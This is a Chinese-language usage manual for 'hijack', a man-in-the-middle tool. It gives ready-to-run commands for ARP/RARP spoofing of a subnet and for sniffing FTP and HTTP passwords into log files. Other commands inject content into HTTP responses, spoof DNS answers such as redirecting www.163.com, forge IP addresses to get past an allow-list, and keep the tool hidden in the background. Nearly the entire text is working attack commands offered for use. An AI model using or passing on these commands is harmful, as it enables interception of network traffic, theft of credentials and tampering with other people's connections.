工具的使用方法:
usage: hijack <-LVXhefvqsxrkHDtNzoi> <-d dev> <-S interval> <-l logfile>
         <-W normal|byline|none> <-F jobfile> <-p port> <-c http_flag>
         <-IO pcap_dump> <-E quit time> <-R reboot time>
         <-b submask> <-m speed> <Source Host> <Dest Host>
         <match expression> <bpf filter> | <genuine host> <faked host>
   -h  is help/usage   显示帮助信息
   -V  is version information 显示版本信息
   -v  is be verbose   程序运行时显示详细信息
   -q  is be quiet (don't print packet reception hash marks) 安静模式,不显示数据包标识
   -e  is show empty packets 显示空的数据包
   -o  is fixed '\0' after replace data offset 替换数据后,被替换的数据后都用空字节'\0'填充
   -i  is ignore case   忽略大小写进行匹配
   -S  is spoof interval default is 3000 ms 设置发送RARP欺骗的时间间隔,不能设太大,不然程序会死,条件竞争问题 针对***一些反ARP欺骗的主机, 越小越好
   -l  is set logfile to record 设置日专记录文件,日志记录文件将程序运行输出的内容再记录的文件里
   -r  is enabled ip routing 开启系统内置的路由功能,只能嗅探,不能修改数据包
   -b  is to force define submask 强制指定子网掩码,对一些跨网段的欺骗有效
   -m  is define max transmit speed k/s 限制最大网络传输速度 k/s
   -f  is set full spoof-route mode default is half 设置欺骗方式为双向欺骗
   -x  is print in alternate hexdump format 打印出来的数据为十六进制
   -X  is interpret match expression as hexadecimal 设置要匹配的字串为十六进制,如0x0d0a00
   -p  is the port to hijack 设置要进行数据劫持的端口,默认为全部
   -c  is the flag string to insert for http hijack 要插入代码的HTTP响应包的特征字符串,默认为200 OK
   -I  is read packet stream from pcap format file pcap_dump 从一个pcap数据包格式的文件里读取数据包,进行离线嗅探
   -D  is dnsspoof mode   模式改变为DNS欺骗,规则文件格式不变
   -t  is print timestamp every time a packet is matched 当有匹配的数据包时,打出时间戳
   -E  is time to quit # 程序自动退出的时间间隔,按秒计算
   -R  is time to reboot program # 程序自动重新启动的时间间隔,按秒计算
   -N  is release demo job file 释放一规则文件
   -s  is scan hosts in subnet  扫描子网
   -H  is hidden from console, background mode killed /k 从控制台隐藏到后到执行,可以用hijack -k 结束
   -k  is killed a exists instance 结束一个存在的实例
   -O  is dump matched packets in pcap format to pcap_dump 保存匹配的数据包到一个pcap数据包格式的文件里
   -W  is set the dump format (normal, byline, none) 设置数据包显示的格式,一般,按行,无格式三种
   -F  is read the filter from the specified file  从指定的文件里读取规则
   -z  is IP faked mode genuine and faked host variable auto switch full spoof# 进行IP伪造genuine host 和 faked host生效,  自动打开全双工选项
   -d  is use specified device (index) 使用指定网卡的索引号
   -L  is show the winpcap device list index 显示网卡列表

______________________________________________________________________________________________________________________
// 常用功能举例说明
显示网卡列表
hijack /L
扫描子网
hijack /sd3
结束一个现有的实例
hijack /k
______________________________________________________________________________________________________________________
// 嗅探功能举例说明

嗅探子网,程序自动转发 (可以匹配,但不能设置过滤规则)
hijack /d3 192.168.16.* 192.168.16.1
嗅探子网,同上, 双向欺骗
hijack /fd3 192.168.16.* 192.168.16.1
嗅探子网,同上,退出Console, 进入后台运行
hijack /Hfd3 192.168.16.* 192.168.16.1
嗅探子网,同上,退出Console, 进入后台运行, 120秒后程序自动退出
hijack /Hfd3 /E 120 192.168.16.* 192.168.16.1

嗅探子网,同上,退出Console, 进入后台运行, 120秒后程序自动重新运行
hijack /Hfd3 /R 120 192.168.16.* 192.168.16.1
嗅探子网,程序自动转发,发送RARP欺骗包间隔为100微秒
hijack /d3 /S 100 192.168.16.* 192.168.16.1
嗅探子网,同上, 强制指定子网掩码为255.255.255.0
hijack /d3 /S 100 /b 255.255.255.0 192.168.16.* 192.168.16.1
嗅探子网,系统自动转发 (效率高, 可以设置BPF规则) 以下为嗅探FTP密码 "|" 为条件分隔符
hijack /rqd3 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
同上,将信息保存到pass.log里,pass.log里有详细的FTP密码信息
hijack /rqd3 /l pass.log 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
嗅探子网,一些常见的HTTP密码, 不区分大小定(i选项打开), 保存数据包到pass.dat里
hijack /rqid3 /O pass.dat 192.168.16.* 192.168.16.1 "username=|password=" "tcp and dst port 80"
还原数据包数据,程序将显示嗅探到的数据包
hijack /I packet.dat
自定义要嗅探的主机用","分隔,如:
hijack /rd3 192.168.16.3,192.168.16.8,192.168.16.10-20 192.168.16.1

______________________________________________________________________________________________________________________
// 数据包修改功能举例说明

释放一个替则文件
hijack /N
释放的文件如下:
----
gzip
----
gxip
----
http-insert
----
<center>hijack</center>
----
程序以"----"为分隔符,第一个字符串为原字符串,第二个字符串为替换后的字符串,最大长度都为256字节, 往下再重复
如果是原字符串为http-insert,表始要进行HTTP会话劫持,程序将下一条字符串插入到HTTP响应包里
劫持网关到子网之间的数据, 并显示详细信息
hijack /vd3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
修改后的数据用'\0'字符填充
hijack /vod3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
修改后的数据用'\0'字符填充
hijack /vod3 /p 80 /S 100 /F job.txt /c "404" 192.168.16.1 192.168.16.*

______________________________________________________________________________________________________________________
// DNS欺骗说明,  需打开-D选项

DNS欺骗与数据包修改唯一不同的就是规则文件,一个实例的DNS欺骗需要用的规则文件如下
----
www.163.com
----
192.168.16.3
----
*
----
192.168.16.1
----
欺骗后 就把 www.163.com的IP解析成了192.168.16.3, 其它所有的都解析为192.168.16.1
DNS欺骗 www.163.com为192.168.16.3
规则文件dns.txt如下
----
www.163.com
----
192.168.16.3
----
命令如下:
hijack /Dvd3 /F dns.txt 192.168.16.* 192.168.16.1
注意: 实例中dns查询包是从内网到外网发送的,所以欺骗方向要注意
______________________________________________________________________________________________________________________
// IP欺骗说明,  需打开-z选项
hijack /zd3 202.108.22.33 202.108.22.1 61.163.83.11 202.102.245.9
实例是在公网上实现的,如果202.108.22.33的21端口做了IP限制,只允许202.102.245.9访问(可以嗅探得到)
***者IP是61.163.83.11,则可以通到上面的命令突破IP限制
______________________________________________________________________________________________________________________
// 网速限制说明
限制子网网速为20K/S, 本机不在统计内
hijack /fd3 /m 20 192.168.16.* 192.168.16.1